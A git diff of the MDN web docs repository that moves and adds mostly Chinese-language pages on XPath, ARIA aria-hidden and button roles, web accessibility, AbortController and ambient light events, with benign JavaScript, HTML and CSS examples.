You can now "query" the document with XPath expressions. Although walking the DOM tree can achieve similar results, using XPath expressions is much quicker and more powerful. If you can rely on id attributes, document.getElementById() is still powerful, but it's not nearly as powerful as XPath. Here are some examples. -

-
// display the last names of all people in the doc
-var results = evaluateXPath(people, "//person/@last-name");
-for (var i in results)
-  alert("Person #" + i + " has the last name " + results[i].value);
-
-// get the 2nd person node
-results = evaluateXPath(people, "/people/person[2]");
-
-// get all the person nodes that have addresses in denver
-results = evaluateXPath(people, "//person[address/@city='denver']");
-
-// get all the addresses that have "south" in the street name
-results = evaluateXPath(people,  "//address[contains(@street, 'south')]");
-alert(results.length);
-
-

docEvaluateArray

-

The following is a simple utility function to get (ordered) XPath results into an array, when there is no special need for namespace resolvers, etc. It avoids the more complex syntax of document.evaluate() for cases when it is not required as well as the need to use the special iterators on XPathResult (by returning an array instead). -

-
// Example usage:
-// var els = docEvaluateArray('//a');
-// alert(els[0].nodeName); // gives 'A' in HTML document with at least one link
-
-function docEvaluateArray (expr, doc, resolver) {
-	if (!doc) {
-		doc = document;
-	}
-	if (!resolver) {
-		resolver = null;
-	}
-	var result = doc.evaluate(expr, doc, resolver, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null);
-	var a = [];
-	for(var i = 0; i < result.snapshotLength; i++) {
-		a[i] = result.snapshotItem(i);
-	}
-	return a;
-}
-
-

getXPathForElement

-

The following function allows one to pass an element and an XML document to find a unique string XPath expression leading back to that element. -

-
function getXPathForElement(el, xml) {
-	var xpath = '';
-	var pos, tempitem2;
-
-	while(el !== xml.documentElement) {
-		pos = 0;
-		tempitem2 = el;
-		while(tempitem2) {
-			if (tempitem2.nodeType === 1 && tempitem2.nodeName === el.nodeName) { // If it is ELEMENT_NODE of the same name
-				pos += 1;
-			}
-			tempitem2 = tempitem2.previousSibling;
-		}
-
-		xpath = "*[name()='"+el.nodeName+"' and namespace-uri()='"+(el.namespaceURI===null?'':el.namespaceURI)+"']["+pos+']'+'/'+xpath;
-
-		el = el.parentNode;
-	}
-	xpath = '/*'+"[name()='"+xml.documentElement.nodeName+"' and namespace-uri()='"+(el.namespaceURI===null?'':el.namespaceURI)+"']"+'/'+xpath;
-	xpath = xpath.replace(/\/$/, '');
-	return xpath;
-}
-

Resources

-
  • XPath -
  • XPath Visualizer for Mozilla and Firefox -
  • XPath tutorial -
  • Forum discussion on this topic -
  • Using the Mozilla JavaScript Interface to XPath - draft tutorial on using XPath from javascript -
  • Sarissa - Sarissa is a cross-browser ECMAScript library for client side XML manipulation, including loading XML from URLs or strings, performing XSLT transformations, XPath queries and more. Supported: Gecko (Mozilla, Firefox etc), IE, KHTML (Konqueror, Safari). If you're writing JavaScript that is used in both XUL applications and HTML pages, and the HTML pages may be viewed in non-Gecko-based applications (such as Internet Explorer, Opera, Konqueror, Safari), you should consider using Sarissa to parse and/or serialize XML. Note: Do not create a DOM object using document.implementation.createDocument() and then use Sarissa classes and methods to manipulate that object. It will not work. You must use Sarissa to create the initial DOM object. -
-

See also

- -
-
-{{ languages( { "fr": "fr/Utilisation_de_XPath", "ja": "ja/Using_XPath", "en": "en/Using_XPath", "ko": "ko/Using_XPath" } ) }} diff --git a/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html b/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html new file mode 100644 index 0000000000..8b7f706afa --- /dev/null +++ b/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_aria-hidden_attribute/index.html @@ -0,0 +1,94 @@ +--- +title: 使用aria-hidden属性 +slug: Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性 +tags: + - HTML + - Rôle + - 代码脚本 + - 可访问性 + - 可访问的富网络应用 + - 客户端 + - 警告 +translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute +--- +

{{draft}}

+ +

本文用来说明如何使用aria-hidden属性。aria-hidden属性可以用来控制一系列可访问API中的非交互内容的显示或隐藏。

+ +

描述

+ +
+

把 aria-hidden="true" 加到元素上会把该元素和它的所有子元素从可访问性树上移除。这样做可以通过隐藏下列内容来提升使用辅助技术的用户体验:

+ +
    +
  • 纯装饰性的内容,如图标、图片
  • +
  • 重复的内容,如重复的文本
  • +
  • 屏幕外或被折叠的内容,如菜单
  • +
+ +

根据可访问性的第四条规则aria-hidden="true" 不应该被用在可聚焦的元素上。 而且,由于这个属性是可以被子元素继承的,它也不应该被用在可聚焦元素的父元素上。

+ +

如果父元素带有 aria-hidden="true" ,那么即使使用 aria-hidden="false" 也无法将该元素显示出来。

+
+ +
+

WAI-ARIA Authoring Practices 1.1 提示 aria-hidden="false" 在现阶段 各个浏览器中表现不同.

+
+ +

比较 aria-hidden="true", role="presentation" 和 role="none"

+ +

表面上,aria-hidden="true"role="presentation",和role="none" 很相似,因为这三者都有以下特性:

+ +
    +
  • 根据辅助即使隐藏页面内容
  • +
  • 无法在可聚焦元素上使用
  • +
  • 无法在可互动元素的父级元素上使用
  • +
+ +

尽管有上面这些相同点,但是各个属性的意图是不同的。

+ +
    +
  • aria-hidden="true" 会把整个元素从可访问性API中移除
  • +
  • role="presentation" 和role="none" 会将元素从语义上移除,仍然会将元素暴露给辅助技术。
  • +
+ +

+ +

可选值

+ +
+
false
+
(默认)元素会暴露给可访问性API。
+
true
+
元素不会暴露给可访问性API。
+
undefined
+
(默认)客户端决定元素是否暴露给可访问性API。
+
+ +

示例

+ +
 <i class="icon" aria-hidden="true" />
+ +

无障碍问题

+ +

最佳实践

+ +

 aria-hidden="true" 在以下场景不应该被使用:

+ +
    +
  • HTML的hidden属性被设置了
  • +
  • 祖先元素被display: none属性设置成不显示状态
  • +
  • 祖先元素被visibility: hidden属性设置成不显示状态
  • +
+ +

在以上三个场景中,元素已经被隐藏,从可访问树种移除了,无需再添加aria-hidden="true"属性。

+ +

技术规格

+ +

另见

+ + diff --git a/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_button_role/index.html b/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_button_role/index.html deleted file mode 100644 index e0e35c449a..0000000000 --- a/files/zh-cn/web/accessibility/aria/aria_techniques/using_the_button_role/index.html +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: Using the button role -slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role -tags: - - ARIA - - 可访问性 - - 无障碍 -translation_of: Web/Accessibility/ARIA/Roles/button_role ---- -

button 角色应该用于可单击的元素, 当用户激活时触发响应。 在其本身,role="button" 可以使任何元素 (e.g. {{HTMLElement("p")}}, {{HTMLElement("span")}} or {{HTMLElement("div")}}) 作为一个屏幕阅读器的按钮控件出现。此外,该角色还可以与 aria-pressed 属性组合使用,以创建切换按钮。

- -
注意: 在可能的情况下,建议使用原生HTML按钮 (<button>, <input type="button" /><input type="submit" />, <input type="reset" /> and <input type="image" />) 而不是按钮角色,因为原生HTML按钮得到了较老用户代理和辅助技术的广泛支持。原生HTML按钮也支持键盘和焦点需求,不需要额外的定制。
- -

键盘 and 聚焦

- -

按钮是交互式控件,因此其本身是可聚焦的。如果button 角色被添加到一个自身不可聚焦的元素(such as <span><div> or <p>) 那么必须使用tabindex 属性来使按钮可聚焦。

- -

按钮可以由鼠标用户和键盘用户操作。 对于原生HTML <button> 元素 ,按钮的 onclick 事件会在鼠标单击和按下键盘的 Space or Enter 时被触发, 同时这个按钮处于聚焦状态。 但是如果使用其他标签来创建“自定义按钮”,那么onclick事件只会在点击鼠标光标时触发,即使使用role="button" 。因此,开发人员必须向元素添加一个单独的关键事件处理程序,以便在按下 Space or Enter 时触发按钮。

- -

Warning: 把给一个链接标记为按钮角色的链接时要谨慎。按钮将使用 Space or Enter 键触发,而链接被期望使用 Enter 键触发。 换句话说,当链接被用来作为按钮的时候,仅仅添加role="button"是不够的。还需要添加一个 key 事件处理程序来侦听 Space 键,以便与原生按钮保持一致。

- -

可切换的按钮

- -

使用role="button"的一个优点是它允许创建切换按钮。一个切换按钮可以有两个状态:pressed,not pressed。除了 button角色之外,按钮是否为切换按钮,也可以用aria-pressed的属性来表示。

- -
    -
  • 如果没有 aria-pressed表明这不是一个切换按钮。
  • -
  • 如果 aria-pressed="false"  表示这个按钮当前是 not pressed 的。
  • -
  • 如果 aria-pressed="true"  表示这个按钮当前是 pressed 的。
  • -
  • 如果 aria-pressed="mixed"  则认为按钮部分是 partially pressed 的。
  • -
- -

Labeling buttons

- -

按钮应该总是有一个可访问的名称。对于大多数按钮,这个名称将与按钮中的文本相同。在某些情况下,例如图标按钮,可通过 aria-labelaria-labelledby 属性提供可访问的名称。

- -

对用户代理和辅助技术的可能影响

- -

当使用 button 角色时,用户代理应该将该元素公开为操作系统的易访问性API中的按钮控件。屏幕阅读器应该将元素声明为一个按钮并描述其可访问的名称。语音识别软件应该可以通过说:"点击"+按钮的可访问的name 就能激活这个按钮。

- -
Note: 关于辅助技术如何处理这种技术,意见可能有所不同。上面所提供的信息是其中之一,因此并非规范。
- -

Examples

- -

ARIA Basic Button

- -

在下面的代码片段中,一个span元素已经被赋予了按钮角色。由于使用的是 <span> 元素,因此需要提供 tabindex 属性使按钮的可聚焦并成为tab顺序流中的一部分。注意,这段代码提供了CSS样式,以使 <span>元素看起来像一个按钮, handleBtnClickhandleBtnKeyPress 是事件处理程序,当鼠标单击、 Space or Enter 被按下时,执行该按钮的操作。

- -
<span role="button" tabindex="0" onclick="handleBtnClick()" onKeyPress="handleBtnKeyPress()">Save</span>
-
- -

ARIA Toggle Button

- -

在这个片段中,使用 button 角色和 aria-pressed 属性,来将 <span> 元素转换为一个切换按钮,当按钮被激活时, aria-pressed 的值在true和false之间切换。

- -

HTML

- -
<button type="button" aria-pressed="false" onclick="handleBtnClick(event)">
-  Native button toggle
-</button>
-
-<span role="button" tabindex="0"
- aria-pressed="false" onclick="handleBtnClick(event)"
- onKeyPress="handleBtnKeyPress(event)">
-  Span button toggle
-</span>
- -

CSS

- -
button,
-[role="button"] {
-    padding: 3px;
-    border: 1px solid #CCC;
-}
-
-button[aria-pressed="true"],
-[role="button"][aria-pressed="true"] {
-    border: 2px solid #000;
-}
-
- -

JavaScript

- -
function handleBtnClick(event) {
-  toggleButton(event.target);
-}
-
-function handleBtnKeyPress(event) {
-  // Check to see if space or enter were pressed
-  if (event.key === " " || event.key === "Enter") {
-    // Prevent the default action to stop scrolling when space is pressed
-    event.preventDefault();
-    toggleButton(event.target);
-  }
-}
-
-function toggleButton(element) {
-  // Check to see if the button is pressed
-  var pressed = (element.getAttribute("aria-pressed") === "true");
-  // Change aria-pressed to the opposite state
-  element.setAttribute("aria-pressed", !pressed);
-}
- -

Result

- -

{{EmbedLiveSample('ARIA_Toggle_Button')}}

- -

Notes 

- -

ARIA attributes used

- - - -

Additional resources

- - diff --git "a/files/zh-cn/web/accessibility/aria/aria_techniques/\344\275\277\347\224\250aria-hidden\345\261\236\346\200\247/index.html" "b/files/zh-cn/web/accessibility/aria/aria_techniques/\344\275\277\347\224\250aria-hidden\345\261\236\346\200\247/index.html" deleted file mode 100644 index 8b7f706afa..0000000000 --- "a/files/zh-cn/web/accessibility/aria/aria_techniques/\344\275\277\347\224\250aria-hidden\345\261\236\346\200\247/index.html" +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: 使用aria-hidden属性 -slug: Web/Accessibility/ARIA/ARIA_Techniques/使用aria-hidden属性 -tags: - - HTML - - Rôle - - 代码脚本 - - 可访问性 - - 可访问的富网络应用 - - 客户端 - - 警告 -translation_of: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-hidden_attribute ---- -

{{draft}}

- -

本文用来说明如何使用aria-hidden属性。aria-hidden属性可以用来控制一系列可访问API中的非交互内容的显示或隐藏。

- -

描述

- -
-

把 aria-hidden="true" 加到元素上会把该元素和它的所有子元素从可访问性树上移除。这样做可以通过隐藏下列内容来提升使用辅助技术的用户体验:

- -
    -
  • 纯装饰性的内容,如图标、图片
  • -
  • 重复的内容,如重复的文本
  • -
  • 屏幕外或被折叠的内容,如菜单
  • -
- -

根据可访问性的第四条规则aria-hidden="true" 不应该被用在可聚焦的元素上。 而且,由于这个属性是可以被子元素继承的,它也不应该被用在可聚焦元素的父元素上。

- -

如果父元素带有 aria-hidden="true" ,那么即使使用 aria-hidden="false" 也无法将该元素显示出来。

-
- -
-

WAI-ARIA Authoring Practices 1.1 提示 aria-hidden="false" 在现阶段 各个浏览器中表现不同.

-
- -

比较 aria-hidden="true", role="presentation" 和 role="none"

- -

表面上,aria-hidden="true"role="presentation",和role="none" 很相似,因为这三者都有以下特性:

- -
    -
  • 根据辅助即使隐藏页面内容
  • -
  • 无法在可聚焦元素上使用
  • -
  • 无法在可互动元素的父级元素上使用
  • -
- -

尽管有上面这些相同点,但是各个属性的意图是不同的。

- -
    -
  • aria-hidden="true" 会把整个元素从可访问性API中移除
  • -
  • role="presentation" 和role="none" 会将元素从语义上移除,仍然会将元素暴露给辅助技术。
  • -
- -

- -

可选值

- -
-
false
-
(默认)元素会暴露给可访问性API。
-
true
-
元素不会暴露给可访问性API。
-
undefined
-
(默认)客户端决定元素是否暴露给可访问性API。
-
- -

示例

- -
 <i class="icon" aria-hidden="true" />
- -

无障碍问题

- -

最佳实践

- -

 aria-hidden="true" 在以下场景不应该被使用:

- -
    -
  • HTML的hidden属性被设置了
  • -
  • 祖先元素被display: none属性设置成不显示状态
  • -
  • 祖先元素被visibility: hidden属性设置成不显示状态
  • -
- -

在以上三个场景中,元素已经被隐藏,从可访问树种移除了,无需再添加aria-hidden="true"属性。

- -

技术规格

- -

另见

- - diff --git a/files/zh-cn/web/accessibility/aria/roles/button_role/index.html b/files/zh-cn/web/accessibility/aria/roles/button_role/index.html new file mode 100644 index 0000000000..e0e35c449a --- /dev/null +++ b/files/zh-cn/web/accessibility/aria/roles/button_role/index.html @@ -0,0 +1,122 @@ +--- +title: Using the button role +slug: Web/Accessibility/ARIA/ARIA_Techniques/Using_the_button_role +tags: + - ARIA + - 可访问性 + - 无障碍 +translation_of: Web/Accessibility/ARIA/Roles/button_role +--- +

button 角色应该用于可单击的元素, 当用户激活时触发响应。 在其本身,role="button" 可以使任何元素 (e.g. {{HTMLElement("p")}}, {{HTMLElement("span")}} or {{HTMLElement("div")}}) 作为一个屏幕阅读器的按钮控件出现。此外,该角色还可以与 aria-pressed 属性组合使用,以创建切换按钮。

+ +
注意: 在可能的情况下,建议使用原生HTML按钮 (<button>, <input type="button" /><input type="submit" />, <input type="reset" /> and <input type="image" />) 而不是按钮角色,因为原生HTML按钮得到了较老用户代理和辅助技术的广泛支持。原生HTML按钮也支持键盘和焦点需求,不需要额外的定制。
+ +

键盘 and 聚焦

+ +

按钮是交互式控件,因此其本身是可聚焦的。如果button 角色被添加到一个自身不可聚焦的元素(such as <span><div> or <p>) 那么必须使用tabindex 属性来使按钮可聚焦。

+ +

按钮可以由鼠标用户和键盘用户操作。 对于原生HTML <button> 元素 ,按钮的 onclick 事件会在鼠标单击和按下键盘的 Space or Enter 时被触发, 同时这个按钮处于聚焦状态。 但是如果使用其他标签来创建“自定义按钮”,那么onclick事件只会在点击鼠标光标时触发,即使使用role="button" 。因此,开发人员必须向元素添加一个单独的关键事件处理程序,以便在按下 Space or Enter 时触发按钮。

+ +

Warning: 把给一个链接标记为按钮角色的链接时要谨慎。按钮将使用 Space or Enter 键触发,而链接被期望使用 Enter 键触发。 换句话说,当链接被用来作为按钮的时候,仅仅添加role="button"是不够的。还需要添加一个 key 事件处理程序来侦听 Space 键,以便与原生按钮保持一致。

+ +

可切换的按钮

+ +

使用role="button"的一个优点是它允许创建切换按钮。一个切换按钮可以有两个状态:pressed,not pressed。除了 button角色之外,按钮是否为切换按钮,也可以用aria-pressed的属性来表示。

+ +
    +
  • 如果没有 aria-pressed表明这不是一个切换按钮。
  • +
  • 如果 aria-pressed="false"  表示这个按钮当前是 not pressed 的。
  • +
  • 如果 aria-pressed="true"  表示这个按钮当前是 pressed 的。
  • +
  • 如果 aria-pressed="mixed"  则认为按钮部分是 partially pressed 的。
  • +
+ +

Labeling buttons

+ +

按钮应该总是有一个可访问的名称。对于大多数按钮,这个名称将与按钮中的文本相同。在某些情况下,例如图标按钮,可通过 aria-labelaria-labelledby 属性提供可访问的名称。

+ +

对用户代理和辅助技术的可能影响

+ +

当使用 button 角色时,用户代理应该将该元素公开为操作系统的易访问性API中的按钮控件。屏幕阅读器应该将元素声明为一个按钮并描述其可访问的名称。语音识别软件应该可以通过说:"点击"+按钮的可访问的name 就能激活这个按钮。

+ +
Note: 关于辅助技术如何处理这种技术,意见可能有所不同。上面所提供的信息是其中之一,因此并非规范。
+ +

Examples

+ +

ARIA Basic Button

+ +

在下面的代码片段中,一个span元素已经被赋予了按钮角色。由于使用的是 <span> 元素,因此需要提供 tabindex 属性使按钮的可聚焦并成为tab顺序流中的一部分。注意,这段代码提供了CSS样式,以使 <span>元素看起来像一个按钮, handleBtnClickhandleBtnKeyPress 是事件处理程序,当鼠标单击、 Space or Enter 被按下时,执行该按钮的操作。

+ +
<span role="button" tabindex="0" onclick="handleBtnClick()" onKeyPress="handleBtnKeyPress()">Save</span>
+
+ +

ARIA Toggle Button

+ +

在这个片段中,使用 button 角色和 aria-pressed 属性,来将 <span> 元素转换为一个切换按钮,当按钮被激活时, aria-pressed 的值在true和false之间切换。

+ +

HTML

+ +
<button type="button" aria-pressed="false" onclick="handleBtnClick(event)">
+  Native button toggle
+</button>
+
+<span role="button" tabindex="0"
+ aria-pressed="false" onclick="handleBtnClick(event)"
+ onKeyPress="handleBtnKeyPress(event)">
+  Span button toggle
+</span>
+ +

CSS

+ +
button,
+[role="button"] {
+    padding: 3px;
+    border: 1px solid #CCC;
+}
+
+button[aria-pressed="true"],
+[role="button"][aria-pressed="true"] {
+    border: 2px solid #000;
+}
+
+ +

JavaScript

+ +
function handleBtnClick(event) {
+  toggleButton(event.target);
+}
+
+function handleBtnKeyPress(event) {
+  // Check to see if space or enter were pressed
+  if (event.key === " " || event.key === "Enter") {
+    // Prevent the default action to stop scrolling when space is pressed
+    event.preventDefault();
+    toggleButton(event.target);
+  }
+}
+
+function toggleButton(element) {
+  // Check to see if the button is pressed
+  var pressed = (element.getAttribute("aria-pressed") === "true");
+  // Change aria-pressed to the opposite state
+  element.setAttribute("aria-pressed", !pressed);
+}
+ +

Result

+ +

{{EmbedLiveSample('ARIA_Toggle_Button')}}

+ +

Notes 

+ +

ARIA attributes used

+ + + +

Additional resources

+ + diff --git a/files/zh-cn/web/accessibility/web_development/index.html b/files/zh-cn/web/accessibility/web_development/index.html deleted file mode 100644 index b01b7be6dd..0000000000 --- a/files/zh-cn/web/accessibility/web_development/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Web Development -slug: Web/Accessibility/Web_Development -tags: - - 网页无障碍访问 -translation_of: Web/Accessibility -translation_of_original: Web/Accessibility/Web_Development ---- -

本篇文档为开发者提供了有关网站无障碍访问以及XUL无障碍开发的更多信息。

- - - - - - - - -
-

网页无障碍访问

- -
-
ARIA - 针对开发者
-
ARIA的应用,使得动态HTML的页面内容具有了无障碍的可访问性。在许多的示例中我们都使用了ARIA应用,例如:在线内容区域以及Javascript小组件等。
-
Javascript 组件之键盘导航
-
到现在为止,那些想让基于固有组件的<DIV>和<span>拥有特定样式的Web开发人员,在技术层面都略欠火候。键盘辅助的可用性,同样是必要需求之一,需要开发人员引起足够的重视。
-
- -

XUL 可访问性

- -
-
 
-
在XUL中构建可访问的自定义组件
-
使用DHTML无障碍访问技术,来为自定义的XUL组件添加可访问属性。
-
可访问性XUL使用指南
-
当根据使用指南编写完成的同时, XUL有能力自行整合出无障碍用户界面。程序员、核查者、设计师以及质量监管工程师都应该对使用指南保持一定的熟悉程度。
-
-
-

外部资源

- -
-
深入探寻无障碍访问
-
这本书回答了两个问题。第一个问题是:“为什么我要让我的网站更具无障碍访问性?”第二个问题是“如何使我的网站做到这一点?”
-
无障碍访问网页的编写
-
这是一本来自于IBM的便携式无障碍访问列表。
-
-
- -

 

diff --git a/files/zh-cn/web/api/abortcontroller/abort/index.html b/files/zh-cn/web/api/abortcontroller/abort/index.html new file mode 100644 index 0000000000..d661e73d2b --- /dev/null +++ b/files/zh-cn/web/api/abortcontroller/abort/index.html @@ -0,0 +1,85 @@ +--- +title: AbortController.abort() +slug: Web/API/FetchController/abort +translation_of: Web/API/AbortController/abort +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

The abort() method of the {{domxref("AbortController")}} interface aborts a DOM request (e.g. a Fetch request) before it has completed. This is able to abort fetch requests, consumption of any response {{domxref("Body")}}, and streams.

+ +

Syntax

+ +
controller.abort();
+ +

Parameters

+ +

None.

+ +

Return value

+ +

Void.

+ +

Examples

+ +

In the following snippet, we aim to download a video using the Fetch API.

+ +

We first create a controller using the {{domxref("AbortController.AbortController","AbortController()")}} constructor, then grab a reference to its associated {{domxref("AbortSignal")}} object using the {{domxref("AbortController.signal")}} property.

+ +

When the fetch request is initiated, we pass in the AbortSignal as an option inside the request's options object (see {signal}, below). This associates the signal and controller with the fetch request and allows us to abort it by calling {{domxref("AbortController.abort()")}}, as seen below in the second event listener.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

Note: When abort() is called, the fetch() promise rejects with an AbortError.

+
+ +

You can find a full working example on GitHub — see abort-api (see it running live also).

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.AbortController.abort")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html b/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html new file mode 100644 index 0000000000..35fe67d1ae --- /dev/null +++ b/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html @@ -0,0 +1,85 @@ +--- +title: AbortController.AbortController() +slug: Web/API/FetchController/AbortController +tags: + - AbortController + - Constructor + - Fetch +translation_of: Web/API/AbortController/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController() 构造函数创建了一个新的AbortController实例

+ +

Syntax

+ +
var controller = new AbortController();
+ +

Parameters

+ +

无.

+ +

Examples

+ +

在下面的这段代码中, 我们将通过Fetch API来下载一段视频.

+ +

首先通过{{domxref("AbortController.AbortController","AbortController()")}} 构造函数来创建一个controller实例, 然后通过{{domxref("AbortController.signal")}} 属性获取到它的关联对象{{domxref("AbortSignal")}} 的引用.

+ +

当 fetch request 初始化后, 将 AbortSignal 作为一个选项传入请求的选项参数中 (如下 {signal}). 这将signal,controller与fetch请求关联起来, 允许我们通过调用{{domxref("AbortController.abort()")}}来取消fetch请求, 正如下第二个事件监听器所示.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

提示: 当abort() 被调用,  fetch() promise 将会抛出一个AbortError对象.

+
+ +

你可以在GitHub上找到一个完整的使用示例 — see abort-api (see it running live also).

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.AbortController.AbortController")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/abortcontroller/index.html b/files/zh-cn/web/api/abortcontroller/index.html new file mode 100644 index 0000000000..4211eb8211 --- /dev/null +++ b/files/zh-cn/web/api/abortcontroller/index.html @@ -0,0 +1,106 @@ +--- +title: AbortController +slug: Web/API/FetchController +tags: + - API + - AbortController + - Fetch + - how to cancel a fetch request +translation_of: Web/API/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController接口表示一个控制器对象,允许你根据需要中止一个或多个 Web请求。

+ +

你可以使用 {{domxref("AbortController.AbortController()")}} 构造函数创建一个新的 AbortController 。使用{{domxref("AbortSignal")}} 对象可以完成与与DOM请求的通信。

+ +

构造函数

+ +
+
{{domxref("AbortController.AbortController()")}}
+
创建一个新的AbortController 对象实例。
+
+ +

属性

+ +
+
{{domxref("AbortController.signal")}} {{readonlyInline}}
+
返回一个{{domxref("AbortSignal")}}对象实例,它可以用来 with/abort 一个Web(网络)请求。
+
+ +

方法

+ +
+
{{domxref("AbortController.abort()")}}
+
中止一个尚未完成的Web(网络)请求。这能够中止fetch 请求,任何响应{{domxref("Body")}}的消费者和流。
+
+ +

示例

+ +

在下面的代码片段中,我们想通过 Fetch API 下载一段视频。

+ +

我们先使用{{domxref("AbortController.AbortController","AbortController()")}}构造函数创建一个控制器,然后使用{{domxref("AbortController.signal")}}属性获取其关联 {{domxref("AbortSignal")}}对象的引用。

+ +

当一个 fetch request 初始化,我们把 AbortSignal 作为一个选项传递到到请求对象(如下 {signal})。这将信号和控制器与获取请求相关联然后允许我们通过调用{{domxref("AbortController.abort()")}}中止请求,如下第二个事件监听函数。

+ +
const controller = new AbortController();
+let signal = controller.signal;
+
+const downloadBtn = document.querySelector('.download');
+const abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  //...
+  fetch(url, {signal}).then(function(response) {
+    //...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

注意:abort() 被调用时,fetch() promise 拒绝一个名为 AbortError 的DOMException

+
+ +

可以在GitHub上找到完整的工作示例 — 请参见 abort-api另请参见实时运行)。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容

+ + + +

{{Compat("api.AbortController")}}

+ +

参见

+ + + +
+
+
diff --git a/files/zh-cn/web/api/ambient_light_events/index.html b/files/zh-cn/web/api/ambient_light_events/index.html new file mode 100644 index 0000000000..f90edf8ca2 --- /dev/null +++ b/files/zh-cn/web/api/ambient_light_events/index.html @@ -0,0 +1,74 @@ +--- +title: Using Light Events +slug: Web/API/DeviceLightEvent/Using_light_events +tags: + - WebAPI + - 事件 + - 环境光 +translation_of: Web/API/Ambient_Light_Events +--- +
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
+ +

环境光线事件是一个易用的让网页或应用感知光强变化的方法。它使网页或应用能对光强变化做出反应,例如改变用户界面的颜色对比度,或为拍照而改变曝光度。

+ +

光线事件

+ +

当设备的光线传感器检测到光强等级的变化时,它会向浏览器通知这个变化。当浏览器得到这个通知后,会发送(fire)一个提供光强信息的 {{domxref("DeviceLightEvent")}} 事件。

+ +

想要捕获这个事件,可用 {{domxref("EventTarget.addEventListener","addEventListener")}} 方法把事件处理器绑定到 window 上(使用 {{event("devicelight")}} 事件名),或者直接把事件处理器赋值给 {{domxref("window.ondevicelight")}} 属性。

+ +

该事件被捕捉后,可以从传入的事件对象上的 {{domxref("DeviceLightEvent.value")}} 属性获取光强(单位为 {{interwiki("wikipedia", "lux")}})。

+ +

示例

+ +
if ('ondevicelight' in window) {
+  window.addEventListener('devicelight', function(event) {
+    var body = document.querySelector('body');
+    if (event.value < 50) {
+      body.classList.add('darklight');
+      body.classList.remove('brightlight');
+    } else {
+      body.classList.add('brightlight');
+      body.classList.remove('darklight');
+    }
+  });
+} else {
+  console.log('不支持 devicelight 事件');
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}首次定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.DeviceLightEvent")}}

+ +

Gecko 备注

+ +

{{event("devicelight")}} 事件在 Firefox Mobile for Android (15.0) 和 Firefox OS (B2G) 上实现并默认可用。从Gecko 22.0 {{geckoRelease("22.0")}} 开始,Mac OS X桌面版也可使用该事件。

+ +

参见

+ +
    +
  • {{domxref("DeviceLightEvent")}}
  • +
  • {{event("devicelight")}}
  • +
diff --git a/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html b/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html new file mode 100644 index 0000000000..b2b592a422 --- /dev/null +++ b/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html @@ -0,0 +1,94 @@ +--- +title: reading +slug: Web/API/AmbientLightSensor/reading +translation_of: Web/API/AmbientLightSensor/illuminance +translation_of_original: Web/API/AmbientLightSensor/reading +--- +

{{SeeCompatTable}}{{APIRef("Ambient Light Sensor API")}}

+ +

{{domxref("AmbientLightSensor")}} 接口的 read-only 属性 reading 返回一个访问 {{domxref('AmbientLightSensorReading')}} 的接口, 包含当前的光亮级别。

+ +

语法

+ +
var sensorReading = AmbientLightLevel.reading
+ +

返回值

+ +

{{domxref('AmbientLightSensorReading')}} 接口.

+ +

用例

